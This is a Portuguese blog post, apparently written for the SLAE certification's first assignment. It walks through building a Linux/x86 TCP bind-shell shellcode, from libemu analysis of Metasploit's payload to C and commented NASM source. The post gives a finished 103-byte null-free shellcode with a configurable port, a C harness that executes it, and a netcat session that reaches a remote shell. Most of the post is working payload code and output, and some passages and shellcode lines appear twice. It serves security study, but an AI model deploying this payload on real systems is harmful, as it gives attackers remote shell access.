Verdade, verdade! Esta ainda não é a continuação de (Des)construindo Software. Peço-lhes desculpas, mas no momento oportuno ela virá... Este post é o 1st assignment do curso SecurityTube Linux Assembly Expert, necessário para obtenção da certificação SLAE.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-237
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-237
<UPDATE>
O shellcode final foi aceito no repositório Shell-Storm.
Tks Jonathan Salwan.
</UPDATE>
Assembly (Mighty and Tiny)
Decidi fazer algo que já deveria ter feito há muito tempo: aprender “a linguagem” assembly. E é que o curso do Vivek Ramachandran surgiu em boa hora. Com uma didática simples e objetiva o SLAE realmente me surpreendeu. Obrigado Vivek.
Nas instruções do exame, Vivek especifica que esta primeira missão é:
Criar um shellcode de um Shell Bind via TCP (Linux/x86)
- Executar um shell ao receber a conexão
- Tornar fácil a configuração da porta no shellcode
- Para isso, analisar o linux/x86/shell_bind_tcp do Metasploit usando o libemu
- Executar um shell ao receber a conexão
- Tornar fácil a configuração da porta no shellcode
- Para isso, analisar o linux/x86/shell_bind_tcp do Metasploit usando o libemu
Achei interessante, uma vez que no curso, apesar de passar muita informação, não é apresentada a construção de um shell_bind_tcp. E esse método de examinação é muito bom, pois força o aprendizado.
Desovando um Shell via TCP
Libemu é uma pequena biblioteca de detecção de shellcodes que usa heurística GetPC (Get Program Counter ou GetEIP). Bom, usei-o como indicado para analisar o payload do Metasploit:
# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000
O libemu retorna, além da análise passo-a-passo das instruções do shellcode, uma meta linguagem esboçada em C:
…
int dup2(int oldfd=19, int newfd=0);
[emu 0x0x199d0e0 debug ] cpu state eip=0x00417037
[emu 0x0x199d0e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000013
[emu 0x0x199d0e0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000001 edi=0x00000000
[emu 0x0x199d0e0 debug ] Flags: PF ZF
[emu 0x0x199d0e0 debug ] 49 dec ecx
…
int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;
Fica bem fácil de entender as instruções, mesmo assim, optei pelo visual:
# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000 -G shell_bind_tcp.dot
É gerado um arquivo dot que pode ser facilmente convertido em png:
# dot shell_bind_tcp.dot -T png -o shell_bind_tcp.png
Bem mais intuitivo, certo? O fluxograma clarifica a sequência de instruções. Mesmo assim, decidi seguir outro rumo na construção do shellcode: fiz o mesmo programa em C.
Eu poderia, neste ponto, analisá-lo usando o “objdump” ou mesmo o “ndisasm”. Mas ao tentar fazer isso mudei de ideia. Vejam o porquê:
# objdump -d -M intel shell_bind_tcp_c
…
080485bc <main>:
80485bc: 55 push ebp
80485bd: 89 e5 mov ebp,esp
80485bf: 83 e4 f0 and esp,0xfffffff0
80485c2: 83 ec 50 sub esp,0x50
80485c5: 65 a1 14 00 00 00 mov eax,gs:0x14
80485cb: 89 44 24 4c mov DWORD PTR [esp+0x4c],eax
80485cf: 31 c0 xor eax,eax
80485d1: c7 44 24 30 67 2b 00 mov DWORD PTR [esp+0x30],0x2b67
80485d8: 00
80485d9: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
80485e0: 00
80485e1: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
80485e8: 00
80485e9: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2
80485f0: e8 cb fe ff ff call 80484c0 <socket@plt>
…
O gcc ao compilar, constrói o binário usando instruções de cópia em endereços do stack (mov DWORD PTR [esp+0x4], 0x1), o que dificulta um pouco o processo. Contudo, já deu para se abstrair, pelo empilhamento, os argumentos das funções chamadas. No caso acima, a função socket recebe os valores 2, 1, 0, empilhados na ordem inversa.
Enfim, encarei o desafio de programar o shell_bind_tcp em nasm assembly:
Foi árduo, embora tenha sido muito importante para um entendimento mais aprofundado da linguagem assembly e também dos internals do Linux. Não vou me prender explicando o que cada instrução faz, o intuito deste post não é esse; de toda sorte, comentei todos os códigos (github) para que fossem auto-explicativos. E antecipo que qualquer comentário será bem vindo, seja dúvida ou crítica.
Os códigos, funcionaram perfeitamente; montei o shell_bind_tcp com todas as syscalls fundamentadas no código C, no fluxograma do libemu, nos resultados do google (óbvio) e no velho e sempre amigo man.
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
mov eax, 102 ; syscall 102 – socketcall
mov ebx, 14 ; socketcall type (sys_setsockopt 14)
Ao fazer testes com o shellcode do Metasploit, quando o cliente desconectava da porta e o shell_bind_tcp era rodado novamente ele resultava em SIGSEGV. Vou ser-lhes sincero, após muitos debugging via gdb e consultas no google identifiquei a origem do problema. A falha na segmentação só era produzida quando o shell_bind_tcp tentava ligar o endereço via bind a um socket que já existia no sistema. Mas como? Simples: esse shellcode em específico não tem como fechar o socket quando o cliente desconecta. Quem o fecha é o kernel após um intervalo TIME_WAIT. Ou seja, eu tinha sempre que esperar o kernel fechar o socket criado pela instância anterior (1 a 2 min), para poder rodar novamente o shellcode com sucesso. E no meu humilde pensar, um shellcode é como “um programa”; não deve gerar SIGSEGV (o meu pode até gerar, mas me avisem, se isso acontecer :D).
O objetivo da setsockopt é atribuir ao socket a opção SO_REUSEADDR. Assim, aquele mesmo socket da instância anterior, ainda não fechado pelo kernel, é reutilizado na nova instância. E sem falhas.
Essa minha implementação me deixou muito contente, uma vez que após estudar alguns shellcodes em sites como shell-storm, exploit-db e projectshellcode, não encontrei nada relacionado (alguém conhece algum shellcode nesses sites ou em outro que também use a setsockopt?). E entendo que há quase uma disputa para se construírem shellcodes com o menor número de bytes possível, no entanto, não devemos esquecer da integridade do fluxo do programa.
# objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'arquivo' | cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep x00
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb8\x66\x00\x00\x00\xbb\x0e\x00\x00\x00\x6a\x04\x54\x6a\x02\x6a\x01\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x00\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a\x00\x6a\x00\x52\x89\xe1\xcd\x80\x89\xc2\xb8\x3f\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"
# echo -n "\xb8\x66...\xcd\x80" | wc -m
720
720 / 4 = 180 bytes
Além de conter null-bytes (o que não pode), o shellcode gerado ficou com 180 bytes. Precisei retirar os null-bytes e analisar a possibilidade de uso de instruções cujos opcodes (hexa) fossem menores. Após estudar um pouco mais sobre os registradores e instruções, remontei-o.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c | |
#include <sys/socket.h> | |
#include <sys/types.h> | |
#include <netinet/in.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
int main() | |
{ | |
int resultfd, sockfd; | |
int port = 11111; | |
struct sockaddr_in my_addr; | |
// syscall 102 | |
// int socketcall(int call, unsigned long *args); | |
// sycall socketcall (sys_socket 1) | |
sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
// syscall socketcall (sys_setsockopt 14) | |
int one = 1; | |
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); | |
// set struct values | |
my_addr.sin_family = AF_INET; // 2 | |
my_addr.sin_port = htons(port); // port number | |
my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP | |
// syscall socketcall (sys_bind 2) | |
bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr)); | |
// syscall socketcall (sys_listen 4) | |
listen(sockfd, 0); | |
// syscall socketcall (sys_accept 5) | |
resultfd = accept(sockfd, NULL, NULL); | |
// syscall 63 | |
dup2(resultfd, 2); | |
dup2(resultfd, 1); | |
dup2(resultfd, 0); | |
// syscall 11 | |
execve("/bin/sh", NULL, NULL); | |
return 0; | |
} |
Eu poderia, neste ponto, analisá-lo usando o “objdump” ou mesmo o “ndisasm”. Mas ao tentar fazer isso mudei de ideia. Vejam o porquê:
# objdump -d -M intel shell_bind_tcp_c
…
080485bc <main>:
80485bc: 55 push ebp
80485bd: 89 e5 mov ebp,esp
80485bf: 83 e4 f0 and esp,0xfffffff0
80485c2: 83 ec 50 sub esp,0x50
80485c5: 65 a1 14 00 00 00 mov eax,gs:0x14
80485cb: 89 44 24 4c mov DWORD PTR [esp+0x4c],eax
80485cf: 31 c0 xor eax,eax
80485d1: c7 44 24 30 67 2b 00 mov DWORD PTR [esp+0x30],0x2b67
80485d8: 00
80485d9: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
80485e0: 00
80485e1: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
80485e8: 00
80485e9: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2
80485f0: e8 cb fe ff ff call 80484c0 <socket@plt>
…
O gcc ao compilar, constrói o binário usando instruções de cópia em endereços do stack (mov DWORD PTR [esp+0x4], 0x1), o que dificulta um pouco o processo. Contudo, já deu para se abstrair, pelo empilhamento, os argumentos das funções chamadas. No caso acima, a função socket recebe os valores 2, 1, 0, empilhados na ordem inversa.
Enfim, encarei o desafio de programar o shell_bind_tcp em nasm assembly:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm | |
global _start | |
section .text | |
_start: | |
; syscalls (/usr/include/asm/unistd_32.h) | |
; socketcall numbers (/usr/include/linux/net.h) | |
; Creating the socket file descriptor | |
; int socket(int domain, int type, int protocol); | |
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP) | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 1 ; socketcall type (sys_socket 1) | |
; socket arguments (bits/socket.h, netinet/in.h) | |
push 0 ; IPPROTO_IP = 0 (int) | |
push 1 ; SOCK_STREAM = 1 (int) | |
push 2 ; AF_INET = 2 (int) | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interruption | |
mov edx, eax ; saving the returned socket file descriptor | |
; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened | |
; this problem happens in most shellcodes, even in the Metasploit, because they do not care | |
; about the reuse of the socket address | |
; int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen); | |
; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t) | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 14 ; socketcall type (sys_setsockopt 14) | |
push 4 ; sizeof socklen_t | |
push esp ; address of socklen_t - on the stack | |
push 2 ; SO_REUSEADDR = 2 | |
push 1 ; SOL_SOCKET = 1 | |
push edx ; sockfd | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interrupt | |
; Biding the socket with an address type | |
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); | |
; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16) | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 2 ; socketcall type (sys_bind 2) | |
; building the sockaddr_in struct (sys/socket.h, netinet/in.h and bits/sockaddr.h) | |
push 0 ; INADDR_ANY = 0 (uint32_t) | |
push WORD 0x672b ; port in byte reverse order = 11111 (uint16_t) | |
push WORD 2 ; AF_INET = 2 (unsigned short int) | |
mov ecx, esp ; struct pointer | |
; bind arguments (sys/socket.h) | |
push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t) | |
push ecx ; sockaddr_in struct pointer (struct sockaddr *) | |
push edx ; socket fd (int) | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interrruption | |
; Preparing to listen the incoming connection (passive socket) | |
; int listen(int sockfd, int backlog); | |
; listen(sockfd, 0); | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 4 ; socketcall type (sys_listen 4) | |
; listen arguments | |
push 0 ; backlog (connections queue size) | |
push edx ; socket fd | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interruption | |
; Accepting the incoming connection | |
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); | |
; accept(sockfd, NULL, NULL) | |
mov eax, 102 ; syscall 102 - socketcall | |
mov ebx, 5 ; socketcall type (sys_accept 5) | |
; accept arguments | |
push 0 ; NULL - we don't need to know anything about the client | |
push 0 ; NULL - we don't need to know anything about the client | |
push edx ; socket fd | |
mov ecx, esp ; ptr to argument array | |
int 0x80 ; kernel interruption | |
mov edx, eax ; saving the returned socket fd (client) | |
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) | |
; int dup2(int oldfd, int newfd); | |
; dup2(clientfd, ...) | |
mov eax, 63 ; syscall 63 - dup2 | |
mov ebx, edx ; oldfd (client socket fd) | |
mov ecx, 0 ; stdin file descriptor | |
int 0x80 ; kernel interruption | |
mov eax, 63 | |
mov ecx, 1 ; stdout file descriptor | |
int 0x80 | |
mov eax, 63 | |
mov ecx, 2 ; stderr file descriptor | |
int 0x80 | |
; Finally, using execve to substitute the actual process with /bin/sh | |
; int execve(const char *filename, char *const argv[], char *const envp[]); | |
; exevcve("/bin/sh", NULL, NULL) | |
mov eax, 11 ; execve syscall | |
; execve string argument | |
push 0 ; null byte | |
push 0x68732f2f ; "//sh" | |
push 0x6e69622f ; "/bin" | |
mov ebx, esp ; ptr to "/bin//sh" string | |
mov ecx, 0 ; null ptr to argv | |
mov edx, 0 ; null ptr to envp | |
int 0x80 ; bingo |
Foi árduo, embora tenha sido muito importante para um entendimento mais aprofundado da linguagem assembly e também dos internals do Linux. Não vou me prender explicando o que cada instrução faz, o intuito deste post não é esse; de toda sorte, comentei todos os códigos (github) para que fossem auto-explicativos. E antecipo que qualquer comentário será bem vindo, seja dúvida ou crítica.
Os códigos, funcionaram perfeitamente; montei o shell_bind_tcp com todas as syscalls fundamentadas no código C, no fluxograma do libemu, nos resultados do google (óbvio) e no velho e sempre amigo man.
Evitando-se SIGSEGV (Yep, Metasploit has it)
Os mais atentos já devem ter percebido que há, tanto no código C, quanto no assembly uma função/syscall que não é utilizada no shellcode do Metasploit. A setsockopt.setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
mov eax, 102 ; syscall 102 – socketcall
mov ebx, 14 ; socketcall type (sys_setsockopt 14)
Ao fazer testes com o shellcode do Metasploit, quando o cliente desconectava da porta e o shell_bind_tcp era rodado novamente ele resultava em SIGSEGV. Vou ser-lhes sincero, após muitos debugging via gdb e consultas no google identifiquei a origem do problema. A falha na segmentação só era produzida quando o shell_bind_tcp tentava ligar o endereço via bind a um socket que já existia no sistema. Mas como? Simples: esse shellcode em específico não tem como fechar o socket quando o cliente desconecta. Quem o fecha é o kernel após um intervalo TIME_WAIT. Ou seja, eu tinha sempre que esperar o kernel fechar o socket criado pela instância anterior (1 a 2 min), para poder rodar novamente o shellcode com sucesso. E no meu humilde pensar, um shellcode é como “um programa”; não deve gerar SIGSEGV (o meu pode até gerar, mas me avisem, se isso acontecer :D).
O objetivo da setsockopt é atribuir ao socket a opção SO_REUSEADDR. Assim, aquele mesmo socket da instância anterior, ainda não fechado pelo kernel, é reutilizado na nova instância. E sem falhas.
Essa minha implementação me deixou muito contente, uma vez que após estudar alguns shellcodes em sites como shell-storm, exploit-db e projectshellcode, não encontrei nada relacionado (alguém conhece algum shellcode nesses sites ou em outro que também use a setsockopt?). E entendo que há quase uma disputa para se construírem shellcodes com o menor número de bytes possível, no entanto, não devemos esquecer da integridade do fluxo do programa.
Enxugando o Shellcode (smallest as possible)
Extraindo os opcodes do meu shell_bind_tcp (asm):# objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'arquivo' | cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep x00
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb8\x66\x00\x00\x00\xbb\x0e\x00\x00\x00\x6a\x04\x54\x6a\x02\x6a\x01\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x00\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a\x00\x6a\x00\x52\x89\xe1\xcd\x80\x89\xc2\xb8\x3f\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"
# echo -n "\xb8\x66...\xcd\x80" | wc -m
720
720 / 4 = 180 bytes
Além de conter null-bytes (o que não pode), o shellcode gerado ficou com 180 bytes. Precisei retirar os null-bytes e analisar a possibilidade de uso de instruções cujos opcodes (hexa) fossem menores. Após estudar um pouco mais sobre os registradores e instruções, remontei-o.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp_shellcode.asm | |
global _start | |
section .text | |
_start: | |
; Setting port number | |
mov bp, 0x672b ; port in byte reverse order = 11111 | |
; Creating the socket file descriptor | |
; socket(2, 1, 0) | |
push 102 | |
pop eax | |
cdq | |
push 1 | |
pop ebx | |
; socket arguments | |
push edx | |
push ebx | |
push 2 | |
finalint: | |
mov ecx, esp | |
int 0x80 | |
mov esi, eax ; esi now contains the socket file descriptor | |
pop edi ; pop 2 to edi | |
; Avoiding SIGSEGV when trying to reconnect before the kernel to close the socket previously opened | |
; This problem happens in most shellcodes, even in the Metasploit, because they do not care | |
; about the reuse of the socket address | |
; setsockopt(sockfd, 1, 2, &socklen_t, 4) | |
mov al, 102 | |
; setsockopt arguments | |
push 4 | |
push esp | |
push edi | |
push ebx | |
push esi | |
mov ecx, esp | |
mov bl, 14 | |
int 0x80 | |
; Biding the socket with an address type | |
; bind(sockfd, [2, port, 0], 16) | |
mov al, 102 | |
mov ebx, edi | |
; sockaddr_in struct | |
push edx | |
push bp ; port number | |
push bx | |
mov ecx, esp | |
; bind arguments | |
push 16 | |
push ecx | |
push esi | |
mov ecx, esp | |
int 0x80 | |
; Preparing to listen the incoming connection (passive socket) | |
; listen(sockfd, 0) | |
mov al, 102 | |
mov bl, 4 | |
push edx | |
push esi | |
mov ecx, esp | |
int 0x80 | |
; Accepting the incoming connection | |
; accept(sockfd, 0, 0) | |
mov al, 102 | |
inc ebx | |
mov [esp+8], edx | |
int 0x80 | |
xchg eax, ebx | |
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr) | |
;dup2 (clientfd, fd) | |
mov ecx, edi | |
dup_loop: | |
mov al, 63 | |
int 0x80 | |
dec ecx | |
jns dup_loop ; looping (2, 1, 0) | |
; Finally, using execve to substitute the actual process with /bin/sh | |
; execve("/bin/sh", ["/bin/sh", 0], 0) | |
mov al, 11 | |
push edx | |
push 0x68732f2f ; "//sh" | |
push 0x6e69622f ; "/bin" | |
mov ebx, esp | |
push edx | |
push ebx | |
jmp finalint |
E sobre a configuração da porta? Pensei, pensei e pensei... Qual seria a melhor forma de configurá-la sem aumentar muito o tamanho do shellcode? Como vocês vêem no código assembly acima, usei logo no início, um "mov bp, 0x672b" (para colocar o valor da porta no registrador de 16 bits bp). Durante o percurso do shellcode, o bp é utilizado apenas mais uma vez na construção da estrutura sockaddr_in (argumento da syscall socketcall - opção bind) ao ter os dois bytes inseridos na pilha com a instrução "push bp". Mesmo com o acréscimo de 2 bytes no shellcode, valeu a pena.
A versão final ficou com 103 bytes, um tamanho aceitável para os atributos adicionados: porta +2 bytes e O_REUSEADDR+ 15 bytes .
A versão final ficou com 103 bytes, um tamanho aceitável para os atributos adicionados: porta +2 bytes e O_REUSEADDR
"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\xeb\xa8";
"\x53\xeb\xa8";
Em resumo, os terceiro e quarto bytes referem-se à porta. Atentem que para modificá-la no shellcode, o respectivo número deve ser convertido em hexadecimal. Exemplo:
# printf "%x\n" 40001
9c41
# printf "%d\n" 0x9c41
40001
40001 -> 9c41 -> /x9c/x41
TESTANDO
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c | |
#include <stdio.h> | |
#include <string.h> | |
unsigned char code[] = \ | |
"\x66\xbd" | |
"\x2b\x67" /* <- Port number 11111 (2 bytes) */ | |
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89" | |
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57" | |
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb" | |
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89" | |
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd" | |
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89" | |
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68" | |
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52" | |
"\x53\xeb\xa8"; | |
main () | |
{ | |
printf("Shellcode Length: %d\n", strlen(code)); | |
int (*ret)() = (int(*)())code; | |
ret(); | |
} |
# .gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
# ./shellcode
Em outro terminal (cliente):
# nc 127.0.0.1 11111
pwd
/home/uzumaki
netstat -lp | grep /sh
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 *:11111 *:* LISTEN 5946/sh
Um Novo Shell (the chosen one)
Nessa missão, foi construído um shellcode Shell Bind TCP (Linux/x86) com porta reutilizável (setsockopt SO_REUSEADDR) e facilmente configurável (terceiro e quarto byte). Espero que tenham gostado. Comentem! Façam a roda girar!
P.S.
Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Assim, farei as devidas alterações colocando os créditos.
[]
Mais Informações
SLAE - SecurityTube Linux Assembly ExpertSecurityTube
libemu
Metasploit
Metasploit Unleashed - Offensive Security
Berkeley Sockets
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One
Get all shellcode on binary - commandlinefu
Nenhum comentário:
Postar um comentário